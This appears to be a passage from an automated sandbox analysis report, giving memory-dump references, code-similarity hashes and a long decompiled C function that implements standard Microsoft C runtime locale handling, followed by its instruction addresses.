Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getctype.LIBCPMT ref: 0006C341

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006C360
std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 585862536-0
Opcode ID: c873827e13e5777e4df02bba5f342740952c892c7ec7cb8dc65f8eae3f7c9595
Instruction ID: 95946bd6ec219ad0ed33ae5db0ecdc58743af705977ec55be78ff64c064b13d8
Opcode Fuzzy Hash: c873827e13e5777e4df02bba5f342740952c892c7ec7cb8dc65f8eae3f7c9595
Instruction Fuzzy Hash: 5E41B1719042159FEB11DF58C881EBEB7F5EB14710F148169EC89AB352EB30AE85CBE1

Uniqueness

Uniqueness Score: 12.89%

Function 0011A645, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0011A645(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				signed int _t239;
				signed int _t241;
				void* _t244;
				signed int _t247;
				signed int _t249;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				void* _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				intOrPtr _t283;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				intOrPtr _t293;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t328;
				void* _t330;
				signed int _t332;
				void* _t333;
				intOrPtr _t334;
				signed int _t339;
				signed int _t340;
				intOrPtr* _t343;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				intOrPtr* _t362;
				signed int _t364;
				signed int _t370;
				intOrPtr* _t374;
				intOrPtr* _t377;
				void* _t380;
				intOrPtr* _t381;
				intOrPtr* _t382;
				signed int _t393;
				signed int _t396;
				intOrPtr* _t397;
				signed int _t399;
				signed int* _t403;
				intOrPtr* _t410;
				intOrPtr* _t411;
				intOrPtr _t420;
				signed int _t421;
				short _t422;
				void* _t424;
				signed int _t425;
				signed int _t427;
				intOrPtr _t428;
				signed int _t431;
				intOrPtr _t432;
				signed int _t434;
				signed int _t437;
				intOrPtr _t443;
				signed int _t444;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				signed int _t452;
				signed int _t456;
				signed int* _t457;
				intOrPtr* _t458;
				short _t459;
				void* _t461;
				signed int _t463;
				signed int _t465;
				void* _t467;
				void* _t468;
				void* _t470;
				signed int _t471;
				void* _t472;
				void* _t474;
				signed int _t475;
				void* _t477;
				void* _t479;
				intOrPtr _t491;

				_t420 = __edx;
				_t461 = _t467;
				_t468 = _t467 - 0xc;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t239 = E0011D9CA(__ecx, 0x6a6); // executed
				_t357 = _t239;
				_t240 = 0;
				_pop(_t370);
				if(_t357 == 0) {
					L20:
					return _t240;
				} else {
					_push(__edi);
					_t427 = _t357 + 4;
					 *_t427 = 0;
					 *_t357 = 1;
					_t443 = _a4;
					_t4 = _t443 + 0x30; // 0x119e44
					_t241 = _t4;
					_push( *_t241);
					_v16 = _t241;
					_push(0x147274);
					_push( *0x14712c);
					E0011A584(_t357, _t370, _t427, _t443, _t427, 0x351, 3);
					_t470 = _t468 + 0x18;
					_v8 = 0x14712c;
					while(1) {
						L2:
						_t244 = E00124F15(_t427, 0x351, 0x147270);
						_t471 = _t470 + 0xc;
						if(_t244 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t410 = _t8;
							_t339 =  *_v16;
							_v16 = _t410;
							_t411 =  *_t410;
							goto L4;
						}
						while(1) {
							L4:
							_t420 =  *_t339;
							if(_t420 !=  *_t411) {
								break;
							}
							if(_t420 == 0) {
								L8:
								_t340 = 0;
							} else {
								_t420 =  *((intOrPtr*)(_t339 + 2));
								if(_t420 !=  *((intOrPtr*)(_t411 + 2))) {
									break;
								} else {
									_t339 = _t339 + 4;
									_t411 = _t411 + 4;
									if(_t420 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							asm("sbb eax, eax");
							_t370 = _v8 + 0xc;
							_v8 = _t370;
							_v12 = _v12 &  !( ~_t340);
							_t343 = _v16;
							_v16 = _t343;
							_push( *_t343);
							_push(0x147274);
							_push( *_t370);
							E0011A584(_t357, _t370, _t427, _t443, _t427, 0x351, 3);
							_t470 = _t471 + 0x18;
							if(_v8 < 0x14715c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E0011D5C7(_t357);
									_t31 = _t443 + 0x28; // 0x30ff068b
									_t434 = _t427 | 0xffffffff;
									__eflags =  *_t31;
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											_t32 = _t443 + 0x28; // 0x30ff068b
											E0011D5C7( *_t32);
										}
									}
									_t33 = _t443 + 0x24; // 0x30ff0c46
									__eflags =  *_t33;
									if( *_t33 != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t434 == 1;
										if(_t434 == 1) {
											_t34 = _t443 + 0x24; // 0x30ff0c46
											E0011D5C7( *_t34);
										}
									}
									 *(_t443 + 0x24) = 0;
									 *(_t443 + 0x1c) = 0;
									 *(_t443 + 0x28) = 0;
									 *((intOrPtr*)(_t443 + 0x20)) = 0;
									_t39 = _t443 + 0x40; // 0x10468b00
									_t240 =  *_t39;
								} else {
									_t20 = _t443 + 0x28; // 0x30ff068b
									_t437 = _t427 | 0xffffffff;
									_t491 =  *_t20;
									if(_t491 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t491 == 0) {
											_t21 = _t443 + 0x28; // 0x30ff068b
											E0011D5C7( *_t21);
										}
									}
									_t22 = _t443 + 0x24; // 0x30ff0c46
									if( *_t22 != 0) {
										asm("lock xadd [eax], edi");
										if(_t437 == 1) {
											_t23 = _t443 + 0x24; // 0x30ff0c46
											E0011D5C7( *_t23);
										}
									}
									 *(_t443 + 0x24) =  *(_t443 + 0x24) & 0x00000000;
									_t240 = _t357 + 4;
									 *(_t443 + 0x1c) =  *(_t443 + 0x1c) & 0x00000000;
									 *(_t443 + 0x28) = _t357;
									 *((intOrPtr*)(_t443 + 0x20)) = _t240;
								}
								goto L20;
							}
							goto L132;
						}
						asm("sbb eax, eax");
						_t340 = _t339 | 0x00000001;
						__eflags = _t340;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0010F468();
					asm("int3");
					_push(_t461);
					_t463 = _t471;
					_t472 = _t471 - 0x1d0;
					_t247 =  *0x16f170; // 0xd529e887
					_v56 = _t247 ^ _t463;
					_t249 = _v40;
					_push(_t357);
					_push(_t443);
					_t444 = _v36;
					_push(_t427);
					_t428 = _v44;
					_v508 = _t428;
					__eflags = _t249;
					if(_t249 == 0) {
						_v456 = 1;
						_v468 = 0;
						_t359 = 0;
						_v452 = 0;
						__eflags = _t444;
						if(__eflags == 0) {
							L80:
							E0011A645(_t359, _t370, _t420, _t428, _t444, __eflags, _t428); // executed
							goto L81;
						} else {
							__eflags =  *_t444 - 0x4c;
							if( *_t444 != 0x4c) {
								L59:
								_push(0);
								_t255 = E0011A20D(_t359, _t420, _t428, _t444, _t444,  &_v276, 0x83,  &_v448, 0x55);
								_t474 = _t472 + 0x18;
								__eflags = _t255;
								if(_t255 != 0) {
									_t370 = 0;
									__eflags = 0;
									_t76 = _t428 + 0x20; // 0x119e34
									_t421 = _t76;
									_t446 = 0;
									_v452 = _t421;
									do {
										__eflags = _t446;
										if(_t446 == 0) {
											L74:
											_t256 = _v456;
										} else {
											_t374 =  *_t421;
											_t257 =  &_v276;
											while(1) {
												__eflags =  *_t257 -  *_t374;
												_t428 = _v464;
												if( *_t257 !=  *_t374) {
													break;
												}
												__eflags =  *_t257;
												if( *_t257 == 0) {
													L67:
													_t370 = 0;
													_t258 = 0;
												} else {
													_t422 =  *((intOrPtr*)(_t257 + 2));
													__eflags = _t422 -  *((intOrPtr*)(_t374 + 2));
													_v458 = _t422;
													_t421 = _v452;
													if(_t422 !=  *((intOrPtr*)(_t374 + 2))) {
														break;
													} else {
														_t257 = _t257 + 4;
														_t374 = _t374 + 4;
														__eflags = _v458;
														if(_v458 != 0) {
															continue;
														} else {
															goto L67;
														}
													}
												}
												L69:
												__eflags = _t258;
												if(_t258 == 0) {
													_t359 = _t359 + 1;
													__eflags = _t359;
													goto L74;
												} else {
													_t259 =  &_v276;
													_push(_t259);
													_push(_t446);
													_push(_t428);
													L84();
													_t421 = _v452;
													_t474 = _t474 + 0xc;
													__eflags = _t259;
													if(_t259 == 0) {
														_t370 = 0;
														_t256 = 0;
														_v456 = 0;
													} else {
														_t359 = _t359 + 1;
														_t370 = 0;
														goto L74;
													}
												}
												goto L75;
											}
											asm("sbb eax, eax");
											_t258 = _t257 | 0x00000001;
											_t370 = 0;
											__eflags = 0;
											goto L69;
										}
										L75:
										_t446 = _t446 + 1;
										_t421 = _t421 + 0x10;
										_v452 = _t421;
										__eflags = _t446 - 5;
									} while (_t446 <= 5);
									__eflags = _t256;
									if(__eflags != 0) {
										goto L80;
									} else {
										__eflags = _t359;
										goto L78;
									}
								}
								goto L81;
							} else {
								__eflags =  *(_t444 + 2) - 0x43;
								if( *(_t444 + 2) != 0x43) {
									goto L59;
								} else {
									__eflags =  *((short*)(_t444 + 4)) - 0x5f;
									if( *((short*)(_t444 + 4)) != 0x5f) {
										goto L59;
									} else {
										while(1) {
											_t261 = E00125F63(_t444, 0x147268);
											_t361 = _t261;
											_v472 = _t361;
											_pop(_t376);
											__eflags = _t361;
											if(_t361 == 0) {
												break;
											}
											_t263 = _t261 - _t444;
											__eflags = _t263;
											_v456 = _t263 >> 1;
											if(_t263 == 0) {
												break;
											} else {
												_t265 = 0x3b;
												__eflags =  *_t361 - _t265;
												if( *_t361 == _t265) {
													break;
												} else {
													_t431 = _v456;
													_t362 = 0x14712c;
													_v460 = 1;
													do {
														_t266 = E0011C2F0( *_t362, _t444, _t431);
														_t472 = _t472 + 0xc;
														__eflags = _t266;
														if(_t266 != 0) {
															goto L46;
														} else {
															_t377 =  *_t362;
															_t420 = _t377 + 2;
															do {
																_t334 =  *_t377;
																_t377 = _t377 + 2;
																__eflags = _t334 - _v468;
															} while (_t334 != _v468);
															_t376 = _t377 - _t420 >> 1;
															__eflags = _t431 - _t377 - _t420 >> 1;
															if(_t431 != _t377 - _t420 >> 1) {
																goto L46;
															}
														}
														break;
														L46:
														_v460 = _v460 + 1;
														_t362 = _t362 + 0xc;
														__eflags = _t362 - 0x14715c;
													} while (_t362 <= 0x14715c);
													_t359 = _v472 + 2;
													_t267 = E00125F13(_t376, _t359, 0x147270);
													_t428 = _v464;
													_t447 = _t267;
													_pop(_t380);
													__eflags = _t447;
													if(_t447 != 0) {
														L49:
														__eflags = _v460 - 5;
														if(_v460 > 5) {
															_t268 = _v452;
															goto L55;
														} else {
															_push(_t447);
															_t270 = E0011B8F7(_t380,  &_v276, 0x83, _t359);
															_t475 = _t472 + 0x10;
															__eflags = _t270;
															if(_t270 != 0) {
																L83:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E0010F468();
																asm("int3");
																_push(_t463);
																_t465 = _t475;
																_t273 =  *0x16f170; // 0xd529e887
																_v556 = _t273 ^ _t465;
																_push(_t359);
																_t364 = _v540;
																_push(_t447);
																_push(_t428);
																_t432 = _v544;
																_v1292 = _t364;
																_v1276 = E0011E008(_t364, _t380, _t420) + 0x278;
																_push( &_v1256);
																_t280 = E0011A20D(_t364, _t420, _t432, _v536, _v536,  &_v820, 0x83,  &_v1248, 0x55);
																_t477 = _t475 - 0x2e4 + 0x18;
																__eflags = _t280;
																if(_t280 != 0) {
																	_t101 = _t364 + 2; // 0x1522a2
																	_t450 = _t101 << 4;
																	__eflags = _t450;
																	_t281 =  &_v280;
																	_v724 = _t450;
																	_t381 =  *((intOrPtr*)(_t450 + _t432));
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t281 -  *_t381;
																		_t452 = _v724;
																		if( *_t281 !=  *_t381) {
																			break;
																		}
																		__eflags =  *_t281;
																		if( *_t281 == 0) {
																			L93:
																			_t282 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t281 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t381 + 2));
																			_v718 = _t459;
																			_t452 = _v724;
																			if(_t459 !=  *((intOrPtr*)(_t381 + 2))) {
																				break;
																			} else {
																				_t281 = _t281 + 4;
																				_t381 = _t381 + 4;
																				__eflags = _v718;
																				if(_v718 != 0) {
																					continue;
																				} else {
																					goto L93;
																				}
																			}
																		}
																		L95:
																		__eflags = _t282;
																		if(_t282 != 0) {
																			_t382 =  &_v280;
																			_t424 = _t382 + 2;
																			do {
																				_t283 =  *_t382;
																				_t382 = _t382 + 2;
																				__eflags = _t283 - _v712;
																			} while (_t283 != _v712);
																			_v728 = (_t382 - _t424 >> 1) + 1;
																			_t286 = E0011D9CA(_t382 - _t424 >> 1, 4 + ((_t382 - _t424 >> 1) + 1) * 2);
																			_v740 = _t286;
																			__eflags = _t286;
																			if(_t286 == 0) {
																				goto L86;
																			} else {
																				_v732 =  *((intOrPtr*)(_t452 + _t432));
																				_t125 = _t364 * 4; // 0xc339
																				_v744 =  *((intOrPtr*)(_t432 + _t125 + 0xa0));
																				_t128 = _t432 + 8; // 0x8b56ff8b
																				_v748 =  *_t128;
																				_t391 =  &_v280;
																				_v720 = _t286 + 4;
																				_t290 = E00118DD4(_t286 + 4, _v728,  &_v280);
																				_t479 = _t477 + 0xc;
																				__eflags = _t290;
																				if(_t290 != 0) {
																					_t291 = _v712;
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					E0010F468();
																					asm("int3");
																					_t293 =  *0x179ea8; // 0x0
																					return _t293;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t452 + _t432)) = _v720;
																					if(_v280 != 0x43) {
																						L104:
																						_t296 = E00119F1A(_t364, _t391, _t432,  &_v708);
																						_t393 = _v712;
																						 *(_t432 + 0xa0 + _t364 * 4) = _t296;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L104;
																						} else {
																							_t393 = _v712;
																							 *(_t432 + 0xa0 + _t364 * 4) = _t393;
																						}
																					}
																					__eflags = _t364 - 2;
																					if(_t364 != 2) {
																						__eflags = _t364 - 1;
																						if(_t364 != 1) {
																							__eflags = _t364 - 5;
																							if(_t364 == 5) {
																								 *((intOrPtr*)(_t432 + 0x14)) = _v716;
																							}
																						} else {
																							 *((intOrPtr*)(_t432 + 0x10)) = _v716;
																						}
																					} else {
																						_t457 = _v736;
																						_t425 = _t393;
																						_t403 = _t457;
																						 *(_t432 + 8) = _v716;
																						_v720 = _t457;
																						_v728 = _t457[8];
																						_v716 = _t457[9];
																						while(1) {
																							_t154 = _t432 + 8; // 0x8b56ff8b
																							__eflags =  *_t154 -  *_t403;
																							if( *_t154 ==  *_t403) {
																								break;
																							}
																							_t458 = _v720;
																							_t425 = _t425 + 1;
																							_t328 =  *_t403;
																							 *_t458 = _v728;
																							_v716 = _t403[1];
																							_t403 = _t458 + 8;
																							 *((intOrPtr*)(_t458 + 4)) = _v716;
																							_t364 = _v752;
																							_t457 = _v736;
																							_v728 = _t328;
																							_v720 = _t403;
																							__eflags = _t425 - 5;
																							if(_t425 < 5) {
																								continue;
																							} else {
																							}
																							L112:
																							__eflags = _t425 - 5;
																							if(__eflags == 0) {
																								_t178 = _t432 + 8; // 0x8b56ff8b
																								_t319 = E0012265C(_t364, _t425, _t432, _t457, __eflags, _v712, 1, 0x1471e8, 0x7f,  &_v536,  *_t178, 1);
																								_t479 = _t479 + 0x1c;
																								__eflags = _t319;
																								_t320 = _v712;
																								if(_t319 == 0) {
																									_t457[1] = _t320;
																								} else {
																									do {
																										 *(_t465 + _t320 * 2 - 0x20c) =  *(_t465 + _t320 * 2 - 0x20c) & 0x000001ff;
																										_t320 = _t320 + 1;
																										__eflags = _t320 - 0x7f;
																									} while (_t320 < 0x7f);
																									_t323 = E00105A63( &_v536,  *0x16f3a8, 0xfe);
																									_t479 = _t479 + 0xc;
																									__eflags = _t323;
																									_t457[1] = 0 | _t323 == 0x00000000;
																								}
																								_t193 = _t432 + 8; // 0x8b56ff8b
																								 *_t457 =  *_t193;
																							}
																							 *(_t432 + 0x18) = _t457[1];
																							goto L123;
																						}
																						__eflags = _t425;
																						if(_t425 != 0) {
																							 *_t457 =  *(_t457 + _t425 * 8);
																							_t457[1] =  *(_t457 + 4 + _t425 * 8);
																							 *(_t457 + _t425 * 8) = _v728;
																							 *(_t457 + 4 + _t425 * 8) = _v716;
																						}
																						goto L112;
																					}
																					L123:
																					_t297 = _t364 * 0xc;
																					_t200 = _t297 + 0x147128; // 0x52690
																					 *0x13a31c(_t432);
																					_t299 =  *((intOrPtr*)( *_t200))();
																					_t396 = _v732;
																					__eflags = _t299;
																					if(_t299 == 0) {
																						__eflags = _t396 - 0x16f4a8;
																						if(_t396 != 0x16f4a8) {
																							_t456 = _t364 + _t364;
																							__eflags = _t456;
																							asm("lock xadd [eax], ecx");
																							if(_t456 != 0) {
																								goto L128;
																							} else {
																								_t218 = _t456 * 8; // 0x30ff068b
																								E0011D5C7( *((intOrPtr*)(_t432 + _t218 + 0x28)));
																								_t221 = _t456 * 8; // 0x30ff0c46
																								E0011D5C7( *((intOrPtr*)(_t432 + _t221 + 0x24)));
																								_t224 = _t364 * 4; // 0xc339
																								E0011D5C7( *((intOrPtr*)(_t432 + _t224 + 0xa0)));
																								_t399 = _v712;
																								 *((intOrPtr*)(_v724 + _t432)) = _t399;
																								 *(_t432 + 0xa0 + _t364 * 4) = _t399;
																							}
																						}
																						_t397 = _v740;
																						 *_t397 = 1;
																						 *((intOrPtr*)(_t432 + 0x28 + (_t364 + _t364) * 8)) = _t397;
																					} else {
																						 *(_v724 + _t432) = _t396;
																						_t205 = _t364 * 4; // 0xc339
																						E0011D5C7( *((intOrPtr*)(_t432 + _t205 + 0xa0)));
																						 *(_t432 + 0xa0 + _t364 * 4) = _v744;
																						E0011D5C7(_v740);
																						 *(_t432 + 8) = _v748;
																						goto L86;
																					}
																					goto L87;
																				}
																			}
																		} else {
																			goto L87;
																		}
																		goto L132;
																	}
																	asm("sbb eax, eax");
																	_t282 = _t281 | 0x00000001;
																	__eflags = _t282;
																	goto L95;
																} else {
																	L86:
																	__eflags = 0;
																	L87:
																	__eflags = _v16 ^ _t465;
																	return E000ECED8(_v16 ^ _t465);
																}
															} else {
																_t330 = _t447 + _t447;
																__eflags = _t330 - 0x106;
																if(_t330 >= 0x106) {
																	E000EE00B();
																	goto L83;
																} else {
																	 *((short*)(_t463 + _t330 - 0x10c)) = 0;
																	_t332 =  &_v276;
																	_push(_t332);
																	_push(_v460);
																	_push(_t428);
																	L84();
																	_t472 = _t475 + 0xc;
																	__eflags = _t332;
																	_t268 = _v452;
																	if(_t332 != 0) {
																		_t268 = _t268 + 1;
																		_v452 = _t268;
																	}
																	L55:
																	_t444 = _t359 + _t447 * 2;
																	_t370 = 0;
																	__eflags =  *_t444;
																	if( *_t444 == 0) {
																		L57:
																		__eflags = _t268;
																		L78:
																		if(__eflags != 0) {
																			goto L80;
																		} else {
																		}
																		goto L81;
																	} else {
																		_t444 = _t444 + 2;
																		__eflags =  *_t444;
																		if( *_t444 != 0) {
																			continue;
																		} else {
																			goto L57;
																		}
																	}
																}
															}
														}
													} else {
														_t333 = 0x3b;
														__eflags =  *_t359 - _t333;
														if( *_t359 != _t333) {
															break;
														} else {
															goto L49;
														}
													}
												}
											}
											goto L132;
										}
										goto L81;
									}
								}
							}
						}
					} else {
						__eflags = _t444;
						if(_t444 != 0) {
							_push(_t444);
							_push(_t249);
							_push(_t428);
							L84();
						}
						L81:
						__eflags = _v12 ^ _t463;
						return E000ECED8(_v12 ^ _t463);
					}
				}
				L132:
			}

0x0011a645
0x0011a648
0x0011a64a
0x0011a64d
0x0011a64e
0x0011a657
0x0011a65a
0x0011a65f
0x0011a661
0x0011a663
0x0011a666
0x0011a77f
0x0011a784
0x0011a66c
0x0011a66c
0x0011a66d
0x0011a670
0x0011a673
0x0011a675
0x0011a678
0x0011a678
0x0011a67b
0x0011a67d
0x0011a680
0x0011a685
0x0011a693
0x0011a69d
0x0011a6a0
0x0011a6a3
0x0011a6a3
0x0011a6ae
0x0011a6b3
0x0011a6b8
0x00000000
0x0011a6be
0x0011a6c1
0x0011a6c1
0x0011a6c4
0x0011a6c6
0x0011a6c9
0x0011a6c9
0x0011a6c9
0x0011a6cb
0x0011a6cb
0x0011a6cb
0x0011a6d1
0x00000000
0x00000000
0x0011a6d6
0x0011a6ed
0x0011a6ed
0x0011a6d8
0x0011a6d8
0x0011a6e0
0x00000000
0x0011a6e2
0x0011a6e2
0x0011a6e5
0x0011a6eb
0x00000000
0x00000000
0x00000000
0x00000000
0x0011a6eb
0x0011a6e0
0x0011a6f6
0x0011a6fb
0x0011a6fd
0x0011a702
0x0011a705
0x0011a708
0x0011a70b
0x0011a70e
0x0011a710
0x0011a715
0x0011a71f
0x0011a727
0x0011a72f
0x00000000
0x0011a735
0x0011a739
0x0011a786
0x0011a78c
0x0011a78f
0x0011a792
0x0011a794
0x0011a798
0x0011a79c
0x0011a79e
0x0011a7a1
0x0011a7a6
0x0011a79c
0x0011a7a7
0x0011a7aa
0x0011a7ac
0x0011a7ae
0x0011a7b2
0x0011a7b3
0x0011a7b5
0x0011a7b8
0x0011a7bd
0x0011a7b3
0x0011a7c0
0x0011a7c3
0x0011a7c6
0x0011a7c9
0x0011a7cc
0x0011a7cc
0x0011a73b
0x0011a73b
0x0011a73e
0x0011a741
0x0011a743
0x0011a747
0x0011a74b
0x0011a74d
0x0011a750
0x0011a755
0x0011a74b
0x0011a756
0x0011a75b
0x0011a75d
0x0011a762
0x0011a764
0x0011a767
0x0011a76c
0x0011a762
0x0011a76d
0x0011a771
0x0011a774
0x0011a778
0x0011a77b
0x0011a77b
0x00000000
0x0011a77e
0x00000000
0x0011a72f
0x0011a6f1
0x0011a6f3
0x0011a6f3
0x00000000
0x0011a6f3
0x0011a7d3
0x0011a7d4
0x0011a7d5
0x0011a7d6
0x0011a7d7
0x0011a7d8
0x0011a7dd
0x0011a7e0
0x0011a7e1
0x0011a7e3
0x0011a7e9
0x0011a7f0
0x0011a7f3
0x0011a7f6
0x0011a7f7
0x0011a7f8
0x0011a7fb
0x0011a7fc
0x0011a7ff
0x0011a805
0x0011a807
0x0011a82c
0x0011a836
0x0011a83c
0x0011a83e
0x0011a844
0x0011a846
0x0011aa99
0x0011aa9a
0x00000000
0x0011a84c
0x0011a84c
0x0011a850
0x0011a9b7
0x0011a9b7
0x0011a9ce
0x0011a9d3
0x0011a9d6
0x0011a9d8
0x0011a9de
0x0011a9de
0x0011a9e0
0x0011a9e0
0x0011a9e3
0x0011a9e5
0x0011a9eb
0x0011a9eb
0x0011a9ed
0x0011aa74
0x0011aa74
0x0011a9f3
0x0011a9f3
0x0011a9f5
0x0011a9fb
0x0011a9fe
0x0011aa01
0x0011aa07
0x00000000
0x00000000
0x0011aa09
0x0011aa0d
0x0011aa36
0x0011aa36
0x0011aa38
0x0011aa0f
0x0011aa0f
0x0011aa13
0x0011aa17
0x0011aa1e
0x0011aa24
0x00000000
0x0011aa26
0x0011aa26
0x0011aa29
0x0011aa2c
0x0011aa34
0x00000000
0x00000000
0x00000000
0x00000000
0x0011aa34
0x0011aa24
0x0011aa43
0x0011aa43
0x0011aa45
0x0011aa73
0x0011aa73
0x00000000
0x0011aa47
0x0011aa47
0x0011aa4d
0x0011aa4e
0x0011aa4f
0x0011aa50
0x0011aa55
0x0011aa5b
0x0011aa5e
0x0011aa60
0x0011aa67
0x0011aa69
0x0011aa6b
0x0011aa62
0x0011aa62
0x0011aa63
0x00000000
0x0011aa63
0x0011aa60
0x00000000
0x0011aa45
0x0011aa3c
0x0011aa3e
0x0011aa41
0x0011aa41
0x00000000
0x0011aa41
0x0011aa7a
0x0011aa7a
0x0011aa7b
0x0011aa7e
0x0011aa84
0x0011aa84
0x0011aa8d
0x0011aa8f
0x00000000
0x0011aa91
0x0011aa91
0x00000000
0x0011aa91
0x0011aa8f
0x00000000
0x0011a856
0x0011a856
0x0011a85b
0x00000000
0x0011a861
0x0011a861
0x0011a866
0x00000000
0x0011a86c
0x0011a86c
0x0011a872
0x0011a877
0x0011a879
0x0011a880
0x0011a881
0x0011a883
0x00000000
0x00000000
0x0011a889
0x0011a889
0x0011a88d
0x0011a893
0x00000000
0x0011a899
0x0011a89b
0x0011a89c
0x0011a89f
0x00000000
0x0011a8a5
0x0011a8a5
0x0011a8ab
0x0011a8b0
0x0011a8ba
0x0011a8be
0x0011a8c3
0x0011a8c6
0x0011a8c8
0x00000000
0x0011a8ca
0x0011a8ca
0x0011a8cc
0x0011a8cf
0x0011a8cf
0x0011a8d2
0x0011a8d5
0x0011a8d5
0x0011a8e0
0x0011a8e2
0x0011a8e4
0x00000000
0x00000000
0x0011a8e4
0x00000000
0x0011a8e6
0x0011a8e6
0x0011a8ec
0x0011a8ef
0x0011a8ef
0x0011a8fd
0x0011a906
0x0011a90b
0x0011a911
0x0011a914
0x0011a915
0x0011a917
0x0011a925
0x0011a925
0x0011a92c
0x0011a98d
0x00000000
0x0011a92e
0x0011a92e
0x0011a93c
0x0011a941
0x0011a944
0x0011a946
0x0011aab6
0x0011aab8
0x0011aab9
0x0011aaba
0x0011aabb
0x0011aabc
0x0011aabd
0x0011aac2
0x0011aac5
0x0011aac6
0x0011aace
0x0011aad5
0x0011aad8
0x0011aad9
0x0011aadc
0x0011aae0
0x0011aae1
0x0011aae4
0x0011aaf4
0x0011ab00
0x0011ab17
0x0011ab1c
0x0011ab1f
0x0011ab21
0x0011ab36
0x0011ab39
0x0011ab39
0x0011ab3c
0x0011ab42
0x0011ab4b
0x0011ab4d
0x0011ab50
0x0011ab57
0x0011ab5a
0x0011ab60
0x00000000
0x00000000
0x0011ab62
0x0011ab66
0x0011ab8f
0x0011ab8f
0x0011ab68
0x0011ab68
0x0011ab6c
0x0011ab70
0x0011ab77
0x0011ab7d
0x00000000
0x0011ab7f
0x0011ab7f
0x0011ab82
0x0011ab85
0x0011ab8d
0x00000000
0x00000000
0x00000000
0x00000000
0x0011ab8d
0x0011ab7d
0x0011ab9c
0x0011ab9c
0x0011ab9e
0x0011aba4
0x0011abaa
0x0011abad
0x0011abad
0x0011abb0
0x0011abb3
0x0011abb3
0x0011abc3
0x0011abd1
0x0011abd6
0x0011abdd
0x0011abdf
0x00000000
0x0011abe5
0x0011abeb
0x0011abf1
0x0011abf8
0x0011abfe
0x0011ac01
0x0011ac07
0x0011ac14
0x0011ac1b
0x0011ac20
0x0011ac23
0x0011ac25
0x0011ae7e
0x0011ae84
0x0011ae85
0x0011ae86
0x0011ae87
0x0011ae88
0x0011ae89
0x0011ae8e
0x0011ae8f
0x0011ae94
0x0011ac2b
0x0011ac2b
0x0011ac39
0x0011ac3c
0x0011ac57
0x0011ac5e
0x0011ac64
0x0011ac6a
0x0011ac3e
0x0011ac3e
0x0011ac46
0x00000000
0x0011ac48
0x0011ac48
0x0011ac4e
0x0011ac4e
0x0011ac46
0x0011ac71
0x0011ac74
0x0011ad91
0x0011ad94
0x0011ada1
0x0011ada4
0x0011adac
0x0011adac
0x0011ad96
0x0011ad9c
0x0011ad9c
0x0011ac7a
0x0011ac7a
0x0011ac80
0x0011ac88
0x0011ac8a
0x0011ac8d
0x0011ac96
0x0011ac9f
0x0011aca5
0x0011aca5
0x0011aca8
0x0011acaa
0x00000000
0x00000000
0x0011acac
0x0011acb2
0x0011acb3
0x0011acbe
0x0011acc6
0x0011acce
0x0011acd1
0x0011acd4
0x0011acda
0x0011ace0
0x0011ace6
0x0011acec
0x0011acef
0x00000000
0x00000000
